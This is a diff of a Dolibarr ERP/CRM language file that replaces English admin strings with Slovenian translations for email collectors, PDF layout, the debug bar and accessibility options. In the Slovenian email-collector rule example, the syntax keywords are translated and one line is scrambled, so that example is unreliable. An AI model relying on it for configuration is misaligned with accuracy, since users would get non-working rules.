if previous field was set to Yes.
      For example:
      CODEGRP1+CODEGRP2 -SeveralLangugeVariatFound=Several language variants found -RemoveSpecialChars=Remove special characters -COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) -COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) -COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed -GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) -GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here -HelpOnTooltip=Help text to show on tooltip -HelpOnTooltipDesc=Put text or a translation key here for the text to show in a tooltip when this field appears in a form -YouCanDeleteFileOnServerWith=You can delete this file on the server with Command Line:
      %s -ChartLoaded=Chart of account loaded -SocialNetworkSetup=Setup of module Social Networks -EnableFeatureFor=Enable features for %s -VATIsUsedIsOff=Note: The option to use Sales Tax or VAT has been set to Off in the menu %s - %s, so Sales tax or Vat used will always be 0 for sales. -SwapSenderAndRecipientOnPDF=Swap sender and recipient address position on PDF documents -FeatureSupportedOnTextFieldsOnly=Warning, feature supported on text fields and combo lists only. Also an URL parameter action=create or action=edit must be set OR page name must end with 'new.php' to trigger this feature. -EmailCollector=Email collector -EmailCollectors=Email collectors -EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). -NewEmailCollector=New Email Collector -EMailHost=Host of email IMAP server -EMailHostPort=Port of email IMAP server -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). -MailboxSourceDirectory=Mailbox source directory -MailboxTargetDirectory=Mailbox target directory -EmailcollectorOperations=Operations to do by collector -EmailcollectorOperationsDesc=Operations are executed from top to bottom order -MaxEmailCollectPerCollect=Max number of emails collected per collect -CollectNow=Collect now -ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? -DateLastCollectResult=Date of latest collect try -DateLastcollectResultOk=Date of latest collect success -LastResult=Latest result -EmailCollectorHideMailHeaders=Do not include the content of email header into the saved content of collected e-mails -EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at the end of the email content that is saved as an agenda event. -EmailCollectorConfirmCollectTitle=Email collect confirmation -EmailCollectorConfirmCollect=Do you want to run this collector now? -EmailCollectorExampleToCollectTicketRequestsDesc=Collect emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. Activate also Collect_Responses to collect answers of your client directly on the ticket view (you must reply from Dolibarr). -EmailCollectorExampleToCollectTicketRequests=Example collecting the ticket request (first message only) -EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Scan your mailbox "Sent" directory to find emails that was sent as an answer of another email directly from your email software and not from Dolibarr. If such an email is found, the event of answer is recorded into Dolibarr -EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Example collecting e-mail answers sent from an external e-mail software -EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. -EmailCollectorExampleToCollectDolibarrAnswers=Example collecting all ingoing messages being answers to messages sent from Dolibarr' -EmailCollectorExampleToCollectLeadsDesc=Collect emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
      Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. -EmailCollectorExampleToCollectLeads=Example collecting leads -EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. -EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail -NoNewEmailToProcess=No new email (matching filters) to process -NothingProcessed=Nothing done -XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) -RecordEvent=Record an event in agenda (with type Email sent or received) -CreateLeadAndThirdParty=Create a lead (and a third party if necessary) -CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation or was guessed from a tracker in email header, without third party otherwise) -CodeLastResult=Latest result code -NbOfEmailsInInbox=Number of emails in source directory -LoadThirdPartyFromName=Load third party searching on %s (load only) -LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) -AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. -WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr -WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr -WithDolTrackingIDInMsgId=Message sent from Dolibarr -WithoutDolTrackingIDInMsgId=Message NOT sent from Dolibarr -CreateCandidature=Create job application +MailToTicket=Vstopnice +ByDefaultInList=Privzeto pokaži v pogledu seznama +YouUseLastStableVersion=Uporabljate najnovejšo stabilno različico +TitleExampleForMajorRelease=Primer sporočila, ki ga lahko uporabite za najavo te večje izdaje (lahko ga uporabite na svojih spletnih mestih) +TitleExampleForMaintenanceRelease=Primer sporočila, ki ga lahko uporabite za objavo te vzdrževalne izdaje (lahko ga uporabite na svojih spletnih mestih) +ExampleOfNewsMessageForMajorRelease=Dolibarr ERP & CRM %s je na voljo. Različica %s je glavna izdaja z veliko novimi funkcijami za uporabnike in razvijalce. Prenesete ga lahko iz območja za prenos na portalu https://www.dolibarr.org (podimenik Stabilne različice). Za celoten seznam sprememb lahko preberete ChangeLog . +ExampleOfNewsMessageForMaintenanceRelease=Dolibarr ERP & CRM %s je na voljo. Različica %s je vzdrževalna različica, zato vsebuje samo popravke napak. Vsem uporabnikom priporočamo nadgradnjo na to različico. Vzdrževalna izdaja ne uvaja novih funkcij ali sprememb baze podatkov. Prenesete ga lahko iz območja za prenos na portalu https://www.dolibarr.org (podimenik Stabilne različice). Za celoten seznam sprememb lahko preberete ChangeLog . +MultiPriceRuleDesc=Ko je omogočena možnost "Več ravni cen na izdelek/storitev", lahko za vsak izdelek določite različne cene (ena na cenovni nivo). Da bi vam prihranili čas, lahko tukaj vnesete pravilo za samodejni izračun cene za vsako raven na podlagi cene prve ravni, tako da boste morali za vsak izdelek vnesti samo ceno za prvo raven. Ta stran je zasnovana tako, da vam prihrani čas, vendar je uporabna le, če so vaše cene za vsako raven relativne glede na prvo raven. To stran lahko v večini primerov prezrete. +ModelModulesProduct=Predloge za dokumente izdelkov +WarehouseModelModules=Predloge za dokumente skladišč +ToGenerateCodeDefineAutomaticRuleFirst=Če želite samodejno ustvariti kode, morate najprej določiti upravitelja za samodejno definiranje številke črtne kode. +SeeSubstitutionVars=Glejte * opombo za seznam možnih nadomestnih spremenljivk +SeeChangeLog=Oglejte si datoteko ChangeLog (samo v angleščini) +AllPublishers=Vsi založniki +UnknownPublishers=Neznani založniki +AddRemoveTabs=Dodajte ali odstranite zavihke +AddDataTables=Dodajte tabele predmetov +AddDictionaries=Dodajte tabele slovarjev +AddData=Dodajte podatke o predmetih ali slovarjih +AddBoxes=Dodajte pripomočke +AddSheduledJobs=Dodajte načrtovana opravila +AddHooks=Dodajte kljuke +AddTriggers=Dodajte sprožilce +AddMenus=Dodajte menije +AddPermissions=Dodajte dovoljenja +AddExportProfiles=Dodajte izvozne profile +AddImportProfiles=Dodajte uvozne profile +AddOtherPagesOrServices=Dodajte druge strani ali storitve +AddModels=Dodajte predloge dokumentov ali oštevilčevanja +AddSubstitutions=Dodajte zamenjave ključev +DetectionNotPossible=Odkrivanje ni mogoče +UrlToGetKeyToUseAPIs=URL za pridobitev žetona za uporabo API-ja (ko je žeton prejet, se shrani v uporabniško tabelo baze podatkov in ga je treba zagotoviti ob vsakem klicu API-ja) +ListOfAvailableAPIs=Seznam razpoložljivih API-jev +activateModuleDependNotSatisfied=Modul "%s" je odvisen od modula "%s", ki manjka, zato modul "%1$s" morda ne bo deloval pravilno. Namestite modul "%2$s" ali onemogočite modul "%1$s", če želite biti varni pred kakršnim koli presenečenjem +CommandIsNotInsideAllowedCommands=Ukaz, ki ga poskušate izvesti, ni na seznamu dovoljenih ukazov, definiranih v parametru $dolibarr_main_restrict_os_commands v datoteki conf.php . +LandingPage=Ciljna stran +SamePriceAlsoForSharedCompanies=Če uporabljate modul za več podjetij, z izbiro "Enotna cena", bo tudi cena enaka za vsa podjetja, če se izdelki delijo med okolji. +ModuleEnabledAdminMustCheckRights=Modul je bil aktiviran. Dovoljenja za aktivirane module so bila dana samo skrbniškim uporabnikom. Po potrebi boste morda morali ročno podeliti dovoljenja drugim uporabnikom ali skupinam. +UserHasNoPermissions=Ta uporabnik nima določenih dovoljenj +TypeCdr=Uporabite »Brez«, če je datum plačilnega roka datum računa plus delta v dnevih (delta je polje »%s«)
      Uporabite »Na koncu meseca«, če je po delti treba datum povečati, da dosežete konec meseca (+ neobvezno "%s" v dnevih)
      Uporabite "Trenutni/naslednji", če želite, da je datum plačilnega roka prvi N-ti v mesecu po delti (delta je polje "%s", N je shranjen v polju "%s") +BaseCurrency=Referenčna valuta podjetja (pojdite v nastavitve podjetja, da to spremenite) +WarningNoteModuleInvoiceForFrenchLaw=Ta modul %s je skladen s francoskimi zakoni (Loi Finance 2016). +WarningNoteModulePOSForFrenchLaw=Ta modul %s je skladen s francoskimi zakoni (Loi Finance 2016), ker se modul Non Reversible Logs samodejno aktivira. +WarningInstallationMayBecomeNotCompliantWithLaw=Poskušate namestiti modul %s, ki je zunanji modul. Aktiviranje zunanjega modula pomeni, da zaupate izdajatelju tega modula in da ste prepričani, da ta modul ne vpliva negativno na delovanje vaše aplikacije in je v skladu z zakoni vaše države (%s). Če modul uvede nezakonito funkcijo, postanete odgovorni za uporabo nezakonite programske opreme. +MAIN_PDF_MARGIN_LEFT=Levi rob na PDF +MAIN_PDF_MARGIN_RIGHT=Desni rob na PDF +MAIN_PDF_MARGIN_TOP=Zgornji rob na PDF +MAIN_PDF_MARGIN_BOTTOM=Spodnji rob na PDF +MAIN_DOCUMENTS_LOGO_HEIGHT=Višina za logotip v PDF +DOC_SHOW_FIRST_SALES_REP=Prikaži prvega prodajnega predstavnika +MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Dodajte stolpec za sliko v vrstice predlogov +MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Širina stolpca, če je slika dodana v vrstice +MAIN_PDF_NO_SENDER_FRAME=Skrij obrobe okvirja naslova pošiljatelja +MAIN_PDF_NO_RECIPENT_FRAME=Skrij obrobe okvirja naslova prejemnika +MAIN_PDF_HIDE_CUSTOMER_CODE=Skrij kodo stranke +MAIN_PDF_HIDE_SENDER_NAME=Skrij ime pošiljatelja/podjetja v naslovnem bloku +PROPOSAL_PDF_HIDE_PAYMENTTERM=Skrij plačilne pogoje +PROPOSAL_PDF_HIDE_PAYMENTMODE=Skrij način plačila +MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING=Dodajte elektronski podpis v PDF +NothingToSetup=Za ta modul ni potrebna posebna nastavitev. +SetToYesIfGroupIsComputationOfOtherGroups=Nastavite to na da, če je ta skupina izračun drugih skupin +EnterCalculationRuleIfPreviousFieldIsYes=Vnesite pravilo izračuna, če je bilo prejšnje polje nastavljeno na Da.
      Na primer:
      CODEGRP1+CODEGRP2 +SeveralLangugeVariatFound=Najdenih več jezikovnih različic +RemoveSpecialChars=Odstranite posebne znake +COMPANY_AQUARIUM_CLEAN_REGEX=Filter regularnih izrazov za čiščenje vrednosti (COMPANY_AQUARIUM_CLEAN_REGEX) +COMPANY_DIGITARIA_CLEAN_REGEX=Filter regularnih izrazov za čiščenje vrednosti (COMPANY_DIGITARIA_CLEAN_REGEX) +COMPANY_DIGITARIA_UNIQUE_CODE=Podvajanje ni dovoljeno +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word +GDPRContact=Pooblaščenec za varstvo podatkov (DPO, kontakt za zasebnost podatkov ali GDPR) +GDPRContactDesc=Če v svojem Informacijskem sistemu shranjujete osebne podatke, lahko tukaj navedete kontakt, ki je odgovoren za Splošno uredbo o varstvu podatkov +HelpOnTooltip=Besedilo pomoči za prikaz v opisu orodja +HelpOnTooltipDesc=Tukaj vnesite besedilo ali ključ za prevod, da se besedilo prikaže v opisu orodja, ko se to polje prikaže v obrazcu +YouCanDeleteFileOnServerWith=To datoteko lahko izbrišete na strežniku z ukazno vrstico:
      %s +ChartLoaded=Kontni načrt je naložen +SocialNetworkSetup=Nastavitev modula Socialna omrežja +EnableFeatureFor=Omogoči funkcije za %s +VATIsUsedIsOff=Opomba: Možnost uporabe prometnega davka ali DDV je bila nastavljena na Off v meniju %s - %s, tako da bo uporabljeni prometni davek ali DDV vedno 0 za prodajo. +SwapSenderAndRecipientOnPDF=Zamenjajte mesto naslova pošiljatelja in prejemnika na dokumentih PDF +FeatureSupportedOnTextFieldsOnly=Opozorilo, funkcija je podprta samo v besedilnih poljih in kombiniranih seznamih. Za sprožitev te funkcije mora biti nastavljen tudi parameter URL action=create ali action=edit ALI ime strani se mora končati z 'new.php'. +EmailCollector=Zbiralec elektronske pošte +EmailCollectors=Zbiralci elektronske pošte +EmailCollectorDescription=Dodajte načrtovano opravilo in stran z nastavitvami za redno skeniranje e-poštnih nabiralnikov (z uporabo protokola IMAP) in beleženje prejetih e-poštnih sporočil v vašo aplikacijo na pravem mestu in/ali samodejno ustvarite nekaj zapisov (kot so potencialne stranke). +NewEmailCollector=Nov zbiralnik e-pošte +EMailHost=Gostitelj e-poštnega strežnika IMAP +EMailHostPort=Vrata e-poštnega strežnika IMAP +loginPassword=Prijava/Geslo +oauthToken=Oauth2 žeton +accessType=Vrsta dostopa +oauthService=Oauth storitev +TokenMustHaveBeenCreated=Modul OAuth2 mora biti omogočen in žeton oauth2 mora biti ustvarjen s pravilnimi dovoljenji (na primer obseg »gmail_full« z OAuth za Gmail). +MailboxSourceDirectory=Izvorni imenik nabiralnika +MailboxTargetDirectory=Ciljni imenik nabiralnika +EmailcollectorOperations=Operacije, ki jih izvaja zbiralec +EmailcollectorOperationsDesc=Operacije se izvajajo od zgoraj navzdol +MaxEmailCollectPerCollect=Največje število zbranih e-poštnih sporočil na zbiranje +TestCollectNow=Preskusno zbiranje +CollectNow=Zberi zdaj +ConfirmCloneEmailCollector=Ali ste prepričani, da želite klonirati zbiralnik e-pošte %s? +DateLastCollectResult=Datum zadnjega poskusa zbiranja +DateLastcollectResultOk=Datum zadnjega uspeha zbiranja +LastResult=Zadnji rezultat +EmailCollectorHideMailHeaders=Ne vključite vsebine glave elektronske pošte v shranjeno vsebino zbrane elektronske pošte +EmailCollectorHideMailHeadersHelp=Ko je omogočeno, glave e-pošte niso dodane na koncu vsebine e-pošte, ki je shranjena kot dogodek dnevnega reda. +EmailCollectorConfirmCollectTitle=Potrditev zbiranja po e-pošti +EmailCollectorConfirmCollect=Ali želite zdaj zagnati ta zbiralnik? +EmailCollectorExampleToCollectTicketRequestsDesc=Zberite e-poštna sporočila, ki se ujemajo z nekaterimi pravili, in samodejno ustvarite vstopnico (modulna vstopnica mora biti omogočena) z e-poštnimi informacijami. Ta zbiralnik lahko uporabite, če zagotovite podporo po e-pošti, tako da bo vaša zahteva za vstopnico samodejno ustvarjena. Aktivirajte tudi Collect_Responses za zbiranje odgovorov vaše stranke neposredno v pogledu vozovnice (odgovoriti morate iz Dolibarrja). +EmailCollectorExampleToCollectTicketRequests=Primer zbiranja zahteve za vstopnico (samo prvo sporočilo) +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Preglejte imenik »Poslano« svojega nabiralnika in poiščite e-poštna sporočila, ki so bila poslana kot odgovor na drugo e-poštno sporočilo neposredno iz vaše e-poštne programske opreme in ne iz Dolibarrja. Če takšno e-poštno sporočilo najdemo, se dogodek odgovora zabeleži v Dolibarr +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Primer zbiranja e-poštnih odgovorov, poslanih iz zunanje e-poštne programske opreme +EmailCollectorExampleToCollectDolibarrAnswersDesc=Zberite vsa e-poštna sporočila, ki so odgovor na e-poštno sporočilo, poslano iz vaše aplikacije. Dogodek (modul Agenda mora biti omogočen) z e-poštnim odgovorom bo zabeležen na dobrem mestu. Na primer, če pošljete komercialni predlog, naročilo, račun ali sporočilo za vstopnico po e-pošti iz aplikacije in prejemnik odgovori na vaše e-poštno sporočilo, bo sistem samodejno ujel odgovor in ga dodal v vaš ERP. +EmailCollectorExampleToCollectDolibarrAnswers=Primer zbiranja vseh dohodnih sporočil, ki so odgovori na sporočila, poslana od Dolibarr' +EmailCollectorExampleToCollectLeadsDesc=Zberite e-poštna sporočila, ki se ujemajo z nekaterimi pravili, in samodejno ustvarite potencialno stranko (Module Project mora biti omogočen) z e-poštnimi informacijami. Ta zbiralnik lahko uporabite, če želite slediti svojemu vodniku z uporabo modula Projekt (1 lead = 1 projekt), tako da bodo vaši potencialni kupci samodejno ustvarjeni. Če je omogočen tudi zbiralnik Collect_Responses, ko pošljete e-poštno sporočilo svojih potencialnih strank, predlogov ali katerega koli drugega predmeta, boste morda neposredno v aplikaciji videli tudi odgovore svojih strank ali partnerjev.
      Opomba: v tem začetnem primeru se ustvari naslov potencialne stranke, vključno z e-pošto. Če tretje osebe ni mogoče najti v bazi podatkov (nova stranka), bo potencialna stranka pripeta tretji osebi z ID 1. +EmailCollectorExampleToCollectLeads=Primer zbiranja potencialnih strank +EmailCollectorExampleToCollectJobCandidaturesDesc=Zbirajte e-poštna sporočila, ki se prijavljajo na ponudbe za delo (Modul Recruitment mora biti omogočen). Ta zbiralnik lahko dokončate, če želite samodejno ustvariti kandidaturo za prošnjo za delo. Opomba: S tem začetnim primerom se ustvari naslov kandidature, vključno z e-pošto. +EmailCollectorExampleToCollectJobCandidatures=Primer zbiranja kandidatur za zaposlitev, prejetih po elektronski pošti +NoNewEmailToProcess=Ni novega e-poštnega sporočila (ujemajoči se filtri) za obdelavo +NothingProcessed=Nič narejenega +XEmailsDoneYActionsDone=%s e-pošta predhodno kvalificirana, %s e-pošta uspešno obdelana (za %s zapis/opravljena dejanja) +RecordEvent=Posnemite dogodek v dnevni red (z vrsto Poslana ali prejeta e-pošta) +CreateLeadAndThirdParty=Ustvarite potencialnega kupca (in partnerja, če je potrebno) +CreateTicketAndThirdParty=Ustvari vstopnico (povezano s partnerjem, če je bil partner naložen s prejšnjo operacijo ali je bila uganjena iz sledilnika v glavi e-pošte, sicer brez partnerja) +CodeLastResult=Koda zadnjega rezultata +NbOfEmailsInInbox=Število e-poštnih sporočil v izvornem imeniku +LoadThirdPartyFromName=Naloži iskanje partnerjev na %s (samo nalaganje) +LoadThirdPartyFromNameOrCreate=Naloži iskanje partnerjev na %s (ustvari, če ni najden) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) +AttachJoinedDocumentsToObject=Shranite priložene datoteke v dokumente predmeta, če je v e-poštni temi najden sklic predmeta. +WithDolTrackingID=Sporočilo iz pogovora, ki ga je sprožilo prvo e-poštno sporočilo, poslano iz Dolibarra +WithoutDolTrackingID=Sporočilo iz pogovora, ki ga je sprožilo prvo e-poštno sporočilo, ki NI poslano iz Dolibarra +WithDolTrackingIDInMsgId=Sporočilo poslano od Dolibarr +WithoutDolTrackingIDInMsgId=Sporočilo NI poslano iz Dolibarra +CreateCandidature=Ustvari prošnjo za delo FormatZip=Zip -MainMenuCode=Menu entry code (mainmenu) -ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -OpeningHours=Opening hours -OpeningHoursDesc=Enter here the regular opening hours of your company. -ResourceSetup=Configuration of Resource module -UseSearchToSelectResource=Use a search form to choose a resource (rather than a drop-down list). -DisabledResourceLinkUser=Disable feature to link a resource to users -DisabledResourceLinkContact=Disable feature to link a resource to contacts -EnableResourceUsedInEventCheck=Prohibit the use of the same resource at the same time in the agenda -ConfirmUnactivation=Confirm module reset -OnMobileOnly=On small screen (smartphone) only -DisableProspectCustomerType=Disable the "Prospect + Customer" third party type (so third party must be "Prospect" or "Customer", but can't be both) -MAIN_OPTIMIZEFORTEXTBROWSER=Simplify interface for blind person -MAIN_OPTIMIZEFORTEXTBROWSERDesc=Enable this option if you are a blind person, or if you use the application from a text browser like Lynx or Links. -MAIN_OPTIMIZEFORCOLORBLIND=Change interface's color for color blind person -MAIN_OPTIMIZEFORCOLORBLINDDesc=Enable this option if you are a color blind person, in some case interface will change color setup to increase contrast. -Protanopia=Protanopia -Deuteranopes=Deuteranopes -Tritanopes=Tritanopes -ThisValueCanOverwrittenOnUserLevel=This value can be overwritten by each user from its user page - tab '%s' -DefaultCustomerType=Default thirdparty type for "New customer" creation form -ABankAccountMustBeDefinedOnPaymentModeSetup=Note: The bank account must be defined on the module of each payment mode (Paypal, Stripe, ...) to have this feature working. -RootCategoryForProductsToSell=Root category of products to sell -RootCategoryForProductsToSellDesc=If defined, only products inside this category or childs of this category will be available in the Point Of Sale -DebugBar=Debug Bar -DebugBarDesc=Toolbar that comes with a plenty of tools to simplify debugging -DebugBarSetup=DebugBar Setup -GeneralOptions=General Options -LogsLinesNumber=Number of lines to show on logs tab -UseDebugBar=Use the debug bar -DEBUGBAR_LOGS_LINES_NUMBER=Number of last log lines to keep in console -WarningValueHigherSlowsDramaticalyOutput=Warning, higher values slows dramaticaly output -ModuleActivated=Module %s is activated and slows the interface -ModuleActivatedWithTooHighLogLevel=Module %s is activated with a too high logging level (try to use a lower level for better performances and security) -ModuleSyslogActivatedButLevelNotTooVerbose=Module %s is activated and log level (%s) is correct (not too verbose) -IfYouAreOnAProductionSetThis=If you are on a production environment, you should set this property to %s. -AntivirusEnabledOnUpload=Antivirus enabled on uploaded files -SomeFilesOrDirInRootAreWritable=Some files or directories are not in a read-only mode -EXPORTS_SHARE_MODELS=Export models are share with everybody -ExportSetup=Setup of module Export -ImportSetup=Setup of module Import -InstanceUniqueID=Unique ID of the instance -SmallerThan=Smaller than -LargerThan=Larger than -IfTrackingIDFoundEventWillBeLinked=Note that If a tracking ID of an object is found into email, or if the email is an answer of an email aready collected and linked to an object, the created event will be automatically linked to the known related object. -WithGMailYouCanCreateADedicatedPassword=With a GMail account, if you enabled the 2 steps validation, it is recommanded to create a dedicated second password for the application instead of using your own account passsword from https://myaccount.google.com/. -EmailCollectorTargetDir=It may be a desired behaviour to move the email into another tag/directory when it was processed successfully. Just set name of directory here to use this feature (Do NOT use special characters in name). Note that you must also use a read/write login account. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      -EndPointFor=End point for %s : %s -DeleteEmailCollector=Delete email collector -ConfirmDeleteEmailCollector=Are you sure you want to delete this email collector? -RecipientEmailsWillBeReplacedWithThisValue=Recipient emails will be always replaced with this value -AtLeastOneDefaultBankAccountMandatory=At least 1 default bank account must be defined -RESTRICT_ON_IP=Allow API access to only certain client IPs (wildcard not allowed, use space between values). Empty means every clients can access. +MainMenuCode=Koda za vnos menija (glavni meni) +ECMAutoTree=Pokaži samodejno drevo ECM +OperationParamDesc=Določite pravila za ekstrahiranje nekaterih podatkov ali nastavite vrednosti za uporabo pri delovanju.

      Primer ekstrakcije imena podjetja iz zadeve e-pošte v začasno spremenljivko:
      tmp_var=IZVLEČEK:ZADEVA:Sporočilo podjetja ([^\n]*)

      Primeri za nastavitev lastnosti predmeta za ustvarjanje:
      objproperty1=SET:trdo kodirana vrednost
      objproperty2=SET:__tmp_var__
      lastnost ni nastavljena samo, če vrednost objproperty3:SETIFEM že ni določena
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My ime podjetja je\\s([^\\s]*)

      Uporabite ; char kot ločilo za ekstrahiranje ali nastavitev več lastnosti. +OpeningHours=Odpiralni čas +OpeningHoursDesc=Tukaj vnesite redni delovni čas vašega podjetja. +ResourceSetup=Konfiguracija modula Resource +UseSearchToSelectResource=Za izbiro vira uporabite iskalni obrazec (namesto spustnega seznama). +DisabledResourceLinkUser=Onemogoči funkcijo za povezovanje vira z uporabniki +DisabledResourceLinkContact=Onemogoči funkcijo povezovanja vira s stiki +EnableResourceUsedInEventCheck=Prepovedati uporabo istega vira ob istem času na dnevnem redu +ConfirmUnactivation=Potrdite ponastavitev modula +OnMobileOnly=Samo na majhnem zaslonu (pametni telefon). +DisableProspectCustomerType=Onemogočite vrsto partnerja »Potencialni + kupec« (torej mora biti partner »Potencialni kupec« ali »Kupec«, vendar ne more biti oboje) +MAIN_OPTIMIZEFORTEXTBROWSER=Poenostavite vmesnik za slepe osebe +MAIN_OPTIMIZEFORTEXTBROWSERDesc=Omogočite to možnost, če ste slepa oseba ali če uporabljate aplikacijo iz besedilnega brskalnika, kot sta Lynx ali Links. +MAIN_OPTIMIZEFORCOLORBLIND=Spremenite barvo vmesnika za barvno slepo osebo +MAIN_OPTIMIZEFORCOLORBLINDDesc=Omogočite to možnost, če ste barvno slepi, v nekaterih primerih bo vmesnik spremenil barvno nastavitev za povečanje kontrasta. +Protanopia=Protanopija +Deuteranopes=Devteranopi +Tritanopes=Tritanopi +ThisValueCanOverwrittenOnUserLevel=To vrednost lahko vsak uporabnik prepiše s svoje uporabniške strani - zavihek '%s' +DefaultCustomerType=Privzeti tip partnerja za obrazec za ustvarjanje »Nov kupec«. +ABankAccountMustBeDefinedOnPaymentModeSetup=Opomba: Bančni račun mora biti definiran na modulu vsakega načina plačila (Paypal, Stripe, ...), da ta funkcija deluje. +RootCategoryForProductsToSell=Osnovna kategorija izdelkov za prodajo +RootCategoryForProductsToSellDesc=Če je definirano, bodo na prodajnem mestu na voljo samo izdelki znotraj te kategorije ali podrejeni izdelki te kategorije +DebugBar=Vrstica za odpravljanje napak +DebugBarDesc=Orodna vrstica, ki vsebuje veliko orodij za poenostavitev odpravljanja napak +DebugBarSetup=Nastavitev DebugBar +GeneralOptions=Splošne možnosti +LogsLinesNumber=Število vrstic za prikaz na kartici dnevnikov +UseDebugBar=Uporabite vrstico za odpravljanje napak +DEBUGBAR_LOGS_LINES_NUMBER=Število zadnjih vrstic dnevnika, ki jih je treba hraniti v konzoli +WarningValueHigherSlowsDramaticalyOutput=Opozorilo, višje vrednosti dramatično upočasnijo izpis +ModuleActivated=Modul %s je aktiviran in upočasni vmesnik +ModuleActivatedWithTooHighLogLevel=Modul %s je aktiviran s previsoko stopnjo beleženja (poskusite uporabiti nižjo raven za boljše delovanje in varnost) +ModuleSyslogActivatedButLevelNotTooVerbose=Modul %s je aktiviran in raven dnevnika (%s) je pravilna (ne preveč podrobna) +IfYouAreOnAProductionSetThis=Če uporabljate produkcijsko okolje, morate to lastnost nastaviti na %s. +AntivirusEnabledOnUpload=Za naložene datoteke je omogočen protivirusni program +SomeFilesOrDirInRootAreWritable=Nekatere datoteke ali imeniki niso v načinu samo za branje +EXPORTS_SHARE_MODELS=Izvozne modele delimo z vsemi +ExportSetup=Nastavitev modula Export +ImportSetup=Nastavitev modula Import +InstanceUniqueID=Enolični ID primerka +SmallerThan=Manjši od +LargerThan=Večje kot +IfTrackingIDFoundEventWillBeLinked=Upoštevajte, da če je v e-pošti najden ID sledenja predmeta ali če je e-poštno sporočilo odgovor na e-poštno sporočilo, ki je zbrano in povezano z objektom, bo ustvarjeni dogodek samodejno povezan z znanim sorodnim objektom. +WithGMailYouCanCreateADedicatedPassword=Če ste z računom GMail omogočili preverjanje v dveh korakih, je priporočljivo ustvariti namensko drugo geslo za aplikacijo namesto uporabe lastnega gesla za račun s https://myaccount.google.com/. +EmailCollectorTargetDir=Morda je želeno vedenje premakniti e-pošto v drugo oznako/imenik, ko je bila uspešno obdelana. Samo nastavite ime imenika tukaj, da uporabite to funkcijo (NE uporabljajte posebnih znakov v imenu). Upoštevajte, da morate uporabiti tudi prijavni račun za branje/pisanje. +EmailCollectorLoadThirdPartyHelp=To dejanje lahko uporabite za uporabo vsebine e-pošte za iskanje in nalaganje obstoječega partnerja v vaši bazi podatkov. Najden (ali ustvarjen) partner bo uporabljen za naslednja dejanja, ki jo potrebujejo.
      Na primer, če želite ustvariti partnerja z imenom, ekstrahiranim iz niza 'Ime: ime za iskanje', prisotnega v telesu, uporabite e-pošto pošiljatelja kot e-pošto, polje parametrov lahko nastavite takole:
